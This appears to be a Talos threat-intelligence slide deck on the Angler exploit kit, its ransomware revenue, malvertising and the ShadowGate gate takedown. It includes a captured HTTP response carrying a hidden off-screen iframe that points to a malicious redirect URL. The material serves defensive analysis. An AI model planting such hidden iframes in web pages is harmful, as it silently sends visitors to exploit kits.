A Bright New Dawn of Security: Comprehensive Threat Intelligence

Earl Carter
Senior Threat Researcher
Today's Plan

- Threat Landscape
- Angler Exploit Kit
  - Sophistication
  - Money
  - Constant Evolution
- Malvertising
  - World Wide Impact
- Talos Threat Intelligence
THREAT LANDSCAPE

CVE (Common Vulnerabilities and Exposures):
Publicly known information security vulnerabilities

Low Hanging Fruit on Decline
- Network Accessible
- Low Complexity
- No Authentication

Yearly Trend:
- 2003: 80%
- 2005: 60%
- 2007: 50%
- 2009: 40%
- 2011: 30%
- 2013: 20%
- 2015: 10%
Another Attack Vector - Users
Data is the New Target
Angler Exploit Kit
What is an exploit kit?

- A software package designed to exploit vulnerable browsers and plugins
- Blackhole was the first major exploit kit
Angler HTTP Requests by Provider July 2015
Shutting Down the Source

• Partnered with Limestone Networks
  • Angler Infrastructure
• Level-3
  • Magnitude and Scale
• Collaborated with OpenDNS
  • Visibility into DNS Infrastructure
Angler Architecture Exposed

- **USER**
  - Redirect to Proxy Server
- **PROXY SERVER**
  - Proxy Server Gets data from Exploit Server (Port 81)
  - Status Server Tracks HTTP Requests / Status
  - Roll up of log data pushed to Master Server
- **EXPLOIT SERVER**
  - Exploit Server Sends HTTP Requests to Status Server
- **MASTER SERVER**
- **STATUS SERVER**
Angler Victims

- 90,000 targeted victims per day
- 9,000 observed served exploits in a single day
- 40% of users being served exploits were compromised
- 62% of Angler infections delivered Ransomware
Potential Revenue

% OF RANSOMS PAID PER DAY

0.1% - 10%: 2.9%

TOTAL RANSOMS PAID PER DAY: 64.73

AVERAGE RANSOM

$200 - $500: $300

TOTAL RANSOM COLLECTED PER SERVER PER DAY: $19,419.00

TOTAL # OF REDIRECTION SERVERS

50 - 400: 147

GROSS INCOME FOR RANSOMWARE

DAILY: $95,153.10

MONTHLY: $2,854,593.00

YEARLY: $34,255,116.00

To play with the numbers, please visit:
http://talosintel.com/angler-exposed/
Malvertising?
ONLINE ADVERTISING

A big, fat, opportunity

- Ad Injection
  Rewrite web pages with extra ads
- PUAs
  Adware downloads
- Clickfraud
  Hidden frames, with random clicking that generate hits.
- Malvertising
  A favorite of kits such as Angler; use the ad platform to direct browsers to a compromised server.
A major news site

26 Domains
39 Hosts
171 Objects
557 Connections
Malvertising
What is a Gate?

- Initial Redirection Point for EK
- Usually found in:
  - Compromised Website
  - Malicious Ads
- Allows for quick Exploit Kit pivoting

```
GET /poison/perform/dropdown.js HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: 
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: praised.hillarynixonclinton.net
DNT: 1
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 12 Aug 2016 20:29:14 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.3.3
Content-Length: 167

<iframe style="position:absolute;left:-3613px;top:-3633px;width:312px;height:357px;" src="http://filmthdetkitemzzz.southendpetcare.co.uk/drawer/Y3hrZ3Bucm4"></iframe>
```
What is ShadowGate?

- Discovered by Talos and announced at Hack In The Box in early 2016.

- Large scale malvertising based EK gate.

- Traces back to early 2015, but they continue to have long periods of inactivity – vacation, right? 😊

- ShadowGate was responsible for a major global campaign affecting sites around the world
Details

• Large Scale Malvertising Campaign
  • US/Canada/Middle East/China/New Zealand
  • Pointed to Neutrino Exploit Kit
  • Delivered various payloads including Ransomware
• Action Taken
  • Shadowed Domains Registered through GoDaddy
    • Worked with GoDaddy to get domains shutdown
    • After first shutdown Gate pivoted
    • Found second server/campaign
      • Also shutdown by GoDaddy
Key Takeaways

• Cooperation GoDaddy was VITAL!

• Exploit Kit gate disrupted for the moment

• Helped limit global Neutrino infections

• Shows global reach of exploit kits
  • Most continents impacted
  • English, Chinese, Arabic pages found hosting malicious ads

• Online Advertising is going to be a challenge

• Balance between revenue and risk for web sites
MULTI-TIERED DEFENSE

Cloud to Core Coverage
- **WEB**: Reputation, URL Filtering, AVC
- **END POINT**: Software – ClamAV, Razorback, Moflow
- **CLOUD**: FireAMP & ClamAV detection content
- **EMAIL**: Reputation, AntiSpam, Outbreak Filters
- **NETWORK**: Snort Subscription Rule Set, VDB – FireSIGHT Updates & Content, SEU/SRU Product Detection & Prevention Content
- Global Threat Intelligence Updates